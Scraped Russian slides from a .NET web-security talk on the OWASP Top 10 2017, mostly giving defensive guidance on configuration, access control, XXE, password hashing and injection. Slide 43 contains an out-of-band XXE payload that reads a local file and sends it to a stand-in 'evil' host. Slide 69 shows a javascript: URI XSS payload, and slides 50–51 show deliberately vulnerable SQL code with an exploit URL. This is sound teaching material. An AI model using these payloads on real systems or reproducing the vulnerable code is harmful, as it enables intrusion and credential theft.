  • 24. Заголовок • Attacking .NET Serialization • Breaking .NET Through Serialization Хотите знать больше?
  • 26. Заголовок • Атака (как правило – инъекции), направленная на выполнение кода произвольного сценария на клиенте в контексте атакуемого сайта → обход ограничений same origin policy • Специфические подходы к защите: • X-XSS-Protection: • 1;mode=block • 1;report=http://example.com/report_URI • X-Content-Type-Option: nosniff • Content-Security-Policy: (www.owasp.org/index.php/OWASP_Secure_Headers_Project ) • Access-Control-Allow-Origin: (www.owasp.org/index.php/HTML5_Security_Cheat_Sheet#Cross_Origin_Resource_Sharin g) Межсайтовый скриптинг
  • 29. ЗаголовокКак должно быть (разработчик, безопасник, администратор)
  • 31. Заголовок Обеспечивать безопасность первоначальной (дефолтной) конфигурации приложения Что должен делать разработчик?
  • 32. Заголовок • При разработке нового проекта под ASP.NET MVC5 взять за основу шаблон github.com/johnstaveley/SecurityEssentials/ • github.com/ASP-NET-Core-Boilerplate/Templates – при разработке под ASP.NET Core • Если это невозможно, обеспечить безопасность первоначальной конфигурации вручную Так, а делать-то – что?
  • 33. Заголовок • Убрать из конфигурационных файлов все неиспользуемые директивы и опции • Обеспечить отсутствие в релизной конфигурации по умолчанию реквизитов доступа к каким-либо ресурсам • Использовать .NET 4.6.2+ или .NET Core 2.0+ (поддержка TLS 1.1/1.2, расширенная валидация запросов, защита от XXE и т. п.) Защита конфигурации: базовый чек-лист (1/4)
  • 34. Заголовок • Использовать опции из Web.Config, рекомендованного OWASP: gist.github.com/kochetkov/1132463fb16725694640404c04040621 • Использовать точечное отключение валидации запросов только там, где это действительно необходимо: • На страницах: <@ Page validateRequest="false" %> • В контроллерах: [ValidateInput(false)] • В свойствах модели: [AllowHtml] • В выражениях: Request.Unvalidated() Защита конфигурации: базовый чек-лист (2/4)
  • 35. Заголовок • Убрать HTTP-заголовки: <httpRuntime enableVersionHeader="false" /> HttpContext.Current.Response.Headers.Remove("Server"); • Форсировать отправку cookies через TLS: <httpCookies requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/> <authentication> <forms requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/> </authentication> Защита конфигурации: базовый чек-лист (3/4)
  • 36. Заголовок • Для проектов под ASP.NET Core использовать github.com/andrewlock/NetEscapades.AspNetCore.SecurityHeaders Защита конфигурации: базовый чек-лист (4/4)
  • 38. Заголовок • Недостаток, позволяющий атакующему воспользоваться привилегиями под учётной записью, которая ими не обладает. • Некоторые возможные причины: • Отсутствие или неэффективность проверок доступа • Использование незащищённых идентификаторов ресурсов • Возможность подделки, воспроизведения или использования сессионных токенов • Неправильная конфигурация CORS • Отсутствие проверок доступа в методах контроллеров, изменяющих состояние модели Неэффективный контроль доступа
  • 39. Заголовок • Вся доступная функциональность бизнес-логики должна быть распределена между ролями явным образом. Гость – тоже роль. services.ConfigureMvc(options => { options.Filters.Add( new AuthorizeFilter(new AuthorizationPolicyBuilder() .RequireAuthenticatedUser() .Build())); }); Как защититься (1/2)
  • 40. Заголовок • Элементы контроля доступа должны быть реализованы на всех слоях: • Представление: сокрытие информации о недоступной функциональности • Бизнес-логика: отсутствие функциональности, меняющей состояние модели до выполнения авторизации • Модель: контроль доступа с учетом запрашиваемых данных (row-level security и т.п) • Идентификаторы объектов должны обладать прямой и обратной секретностью Как защититься (2/2)
  • 41. Заголовок A4:2017 – XML External Entities (XXE)
  • 42. Заголовок • Атака на парсер XML, основанная на внедрении в документ внешних сущностей и позволяющая осуществлять чтение локальных файлов и, в некоторых случаях, выполнять произвольный код • Возможна, если в парсере XML включена обработка внешних сущностей Внедрение внешних сущностей XML
  • 43. Заголовок attack.xml: <?xml version="1.0" encoding="uq-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://evilhost/evil.xml"> %remote; %internal; %trick; ]> evil.xml: <!ENTITY % payload SYSTEM "file:///c:/boot.ini"> <!ENTITY % internal "<!ENTITY &#37; trick SYSTEM http://evil/?%payload;'>"> Пример атаки Out-of-Band XXE Data Retrieval
  • 44. Заголовок • XmlReader • Свойство ProhibitDtd • .NET <4.0: true/false, по умолчанию – true; • .NET 4.0+: Prohibit/Ignore/Parse, по умолчанию – Prohibit; • XmlTextReader • Свойство ProhibitDtd • .NET <4.0: true/false, по умолчанию – true; • .NET 4.0+: Prohibit/Ignore/Parse, по умолчанию – Parse; • XmlDocument • Свойство XmlResolver • .NET <4.6: DefaultXmlResolver • .NET 4.6+: null XML парсеры .NET
  • 45. Заголовок • XXE and .NET • XML Out-of-Band Data Retrieval Хотите знать больше?
  • 47. Заголовок • Недостаток, позволяющий атакующему получить доступ к конфиденциальной информации • Причины: • Утечки по побочным каналам (тайминги, реакция приложения на штатные запросы) • Неэффективное использование криптографии • Использование незащищённых протоколов передачи информации Разглашение значимых данных
  • 48. ЗаголовокТайминг-атаки LAN: разница в 200 наносекунд за 1000 измерений; Internet: разница в 30 микросекунд за 1000 измерений; www.cs.rice.edu/~dwallach/pub/crosby-timing2009.pdf В случае с HTTP есть возможность усилить канал: xakep.ru/2015/06/03/web-app-hack-keep-alive Добавление случайных временных задержек проблему не решает: events.ccc.de/congress/2012/Fahrplan/attachments/2235_29c3- schinzel.pdf
  • 50. ЗаголовокСтрах и ненависть в отдельно взятом проекте: 2010 (1/2) var fieldName = Request["field"] ?? "Id"; var minValue = Request["min"]; var maxValue = Request["max"]; var queryTemplate = string.Format( "SELECT * FROM Users WHERE {0} >= @minValue AND {0} <= @maxValue ORDER BY {0}", Regex.Replace(fieldName, "?i[^a-z0-9]+", string.Empty) ); var selectCommand = string.Format(queryTemplate, debugStr); var cmd = new SqlCommand(selectCommand, dataConnection); cmd.Parameters.Add(new SqlParameter("@minValue", minValue)); cmd.Parameters.Add(new SqlParameter("@maxValue", maxValue)); ... /users/filter.aspx?field={fieldName}&min={minBalue}&max={maxValue} Users Id Nickname Rating MessageCount TopicCount Password
  • 51. ЗаголовокСтрах и ненависть в отдельно взятом проекте: 2010 (2/2) var fieldName = Request["field"] ?? "Id"; var minValue = Request["min"]; var maxValue = Request["max"]; var queryTemplate = string.Format( "SELECT * FROM Users WHERE {0} >= @minValue AND {0} <= @maxValue ORDER BY {0}", Regex.Replace(fieldName, "[^a-zA-Z0-9]+", string.Empty) ); var selectCommand = string.Format(queryTemplate, debugStr); var cmd = new SqlCommand(selectCommand, dataConnection); cmd.Parameters.Add(new SqlParameter("@minValue", minValue)); cmd.Parameters.Add(new SqlParameter("@maxValue", maxValue)); ... /users/filter.aspx?field=Password&min=0&max=0 Users Id Nickname Rating MessageCount TopicCount Password
  • 52. Заголовок • HTTP через TLS. Предназначен для обеспечения: • конфиденциальности и целостности данных, передаваемых по HTTP; • аутентичности стороны сервера (реже – и клиента). • Или иными словами для защиты от атак класса MitM. Немного об HTTPS
  • 53. Заголовок • Популярные подходы: • HTTP по умолчанию, HTTPS по выбору пользователя, • HTTP везде, критические точки входа через HTTPS, неэффективны и подвержены атакам TLS Stripping. • Частично противодействовать им можно, используя: • site-wide HTTPS без опционального HTTP, • HTTP-заголовок: Strict-Transport-Security: max-age=expireTime [; includeSubdomains], при условии, что первый раз пользователь попадет на сайт по протоколу HTTPS. Немного об HTTPS
  • 55. Заголовок • Недостаток, позволяющий атакующему получать информацию об учётных данных других пользователей или аутентифицироваться от лица других пользователей • Причины: • Отсутствие или неэффективная реализация защиты от автоматизированных атак (прямой перебор по пользователю или паролю, набивка учетных данных и т.п) • Неэффективный контроль сложности паролей • Хранение учётных данных в открытом или недостаточно защищённом виде • Отсутствие или неэффективное использование 2FA • Проблемы конфиденциальности и актуальности сессионных токенов Неэффективная аутентификация
  • 56. Заголовок • Внедрение средств анти-автоматизации (reCAPTCHA) • Ограничение (замедление) попыток прямого перебора • Пароля по известному имени • Имени по известному паролю • Утекших учётных данных с других ресурсов • Внедрение средств контроля сложности паролей (есть нюансы) Как защититься
  • 57. Заголовок Криптографические функции хэширования не подходят для задачи хранения учётных данных. Для хэширования паролей следует использовать адаптивные функции Argon2 (password-hashing.net), PBKDF2, scrypt, bcrypt: pwd-hash = salt || adaptive_hash(password, salt) или дайджест-функции: pwd-hash = salt || HMAC-SHA-256(password, salt, secret) Общие принципы хранения паролей
  • 58. Заголовок • Предназначение соли — затруднение атак по словарям и радужным таблицам • Соль не является секретом и должна быть случайной и уникальной для каждого пароля • Длина соли должна быть достаточной для обеспечения энтропии salt || password >= 256 бит для любого возможного пароля → длина соли >= 32 байта Соль
  • 59. Заголовок // .NET Framework public static string GetPasswordHash(string password) { var rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, 32); rfc2898DeriveBytes.IterationCount = 16384; byte[] hash = rfc2898DeriveBytes.GetBytes(32); byte[] salt = rfc2898DeriveBytes.Salt; return Convert.ToBase64String(salt) + "|" + Convert.ToBase64String(hash); } // .NET Core public static string GetPasswordHash(string password) { byte[] salt = new byte[128 / 8]; using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(salt); } string hash = Convert.ToBase64String(KeyDerivation.Pbkdf2( password: password, salt: salt, prf: KeyDerivationPrf.HMACSHA256, iterationCount: 16384, numBytesRequested: 256 / 8)); return Convert.ToBase64String(salt) + "|" + hash; } Хранение паролей в .NET
  • 60. Заголовок • Password Storage Cheat Sheet Хотите знать больше?
  • 62. Заголовок • Уязвимость к атакам инъекции – состояние приложения, в котором возможно внедрение в выходные данные грамматических конструкций, не предусмотренных логикой приложения • Тема защиты от атак инъекций была достаточно подробно раскрыта в докладе «Побеждая инъекции» на DotNext Moscow 2017 (слайды, видео) • По исходным данным OWASP TOP 10 2017, этому классу атак подвержены 60.6% приложений. Инъекция
  • 63. Заголовок • «…достаточно банальные примеры, которые были бы актуальны несколько лет назад» • «…в целом доклад теряет свой смысл, если код написан без использования устаревших подходов» • «…[LibProtection] скорее для компаний, которые не заботятся о коде, живут в легаси-системах и не знают, что после .NET 2.0 выходили более новые версии, а .NET Core для них просто ругательство» По следам полученного фидбека (1/2)
  • 64. Заголовок • «…не рассказал как правильно делать, а просто рассказывал про то, как костылями можно дырки закрывать» • «…был задан правильный вопрос про то, что многие так уже не пишут, а используют объектный подход. Каких атак тогда опасаться?» По следам полученного фидбека (2/2)
  • 66. Заголовок Реализовать в приложении ASP.NET Core MVC рендер ссылок, безопасно обрабатывающий некорректные URL и генерирующий для ссылок на внешние ресурсы вывод диалога с предупреждением. Проблема
  • 67. Заголовок public override void Process(TagHelperContext context, TagHelperOutput output) { var url = context.AllAttributes["href"].Value.ToString(); if (!Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) { throw new UriFormatException("Malformed URI"); } var uri = new Uri(url, UriKind.RelativeOrAbsolute); if (!uri.IsAbsoluteUri || RequestHost == uri.Host) { return; } var onclickHandler = $"return confirm('You are about visit an external link: {uri} Are you sure?')"; output.Attributes.SetAttribute("onclick", onclickHandler); } Решение: реализовать TagHelper для тегов <a>
  • 69. ЗаголовокПричина уязвимости – вариативность грамматики URI javascript://localhost/?a=rnalert(1) System.Uri Browser javascript: Scheme javascript: Scheme // - (separator) //localhost/?a= JS-comment localhost Domain rn Line-feed / - (separator) alert(1) JS-expression ? - (separator) a=rnalert(1) Query-parameter
  • 70. Заголовок public override void Process(TagHelperContext context, TagHelperOutput output) { var url = context.AllAttributes["href"].Value.ToString(); if (!Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) { throw new UriFormatException("Malformed URI"); } var uri = new Uri(url, UriKind.RelativeOrAbsolute); if (!uri.IsAbsoluteUri || RequestHost == uri.Host) { return; } if (!Regex.IsMatch(uri.Scheme, "https?|ftp")) { throw new UriFormatException("Invalid scheme"); } var onclickHandler = $"return confirm('You are about visit an external link: {uri} Are you sure?')"; output.Attributes.SetAttribute("onclick", onclickHandler); } Устранение уязвимости
  • 71. Заголовок Какими будут URL создаваемые с помощью new Uri("/path", <UriKind>) ? http://www.mono-project.com/docs/faq/known-issues/urikind-relativeorabsolute/ https://github.com/dotnet/corefx/issues/22098 Ещё немного о объектном подходе на примере System.Uri .ctor .NET 4.7, .NET Core 2.0, Mono 5.4 (Windows) .NET Core 2.0 (Linux) Mono 5.4 (Linux) new Uri("/path", UriKind.Absolute) Исключение Абсолютный Абсолютный new Uri("/path", UriKind.Relative) Относительный Исключение Относительный new Uri("/path", UriKind.RelativeOrAbsolute) Относительный Относительный Абсолютный
  • 72. Заголовок • Средства параметризации и объектного подхода: • всего лишь частный случай типизации в рамках борьбы с инъекциями; • не всегда существуют или применимы и не являются панацеей; • могут содержать неоднозначности, уязвимости и ошибки в своём коде; • часто требуют от разработчика доскональных знаний грамматик и деталей своей реализации. • Думать всё равно придётся  (даже, в случае с LibProtection) Вся правда о «современных средствах разработки»
  • 73. ЗаголовокКстати, о LibProtection (aka «костыльном подходе») private static string BuildSafeLinkTag(string url, string text, string localhost) { var uri = new Uri(url, UriKind.RelativeOrAbsolute); var clickHandler = uri.IsAbsoluteUri && localhost != uri.Host ? $"return confirm('Are you sure you want to follow this link: {uri} ?')" : "return true" return SafeString.Format<Html>( $"<a href='{uri}' onclick='{clickHandler:safe}'>{text}</a>" ); }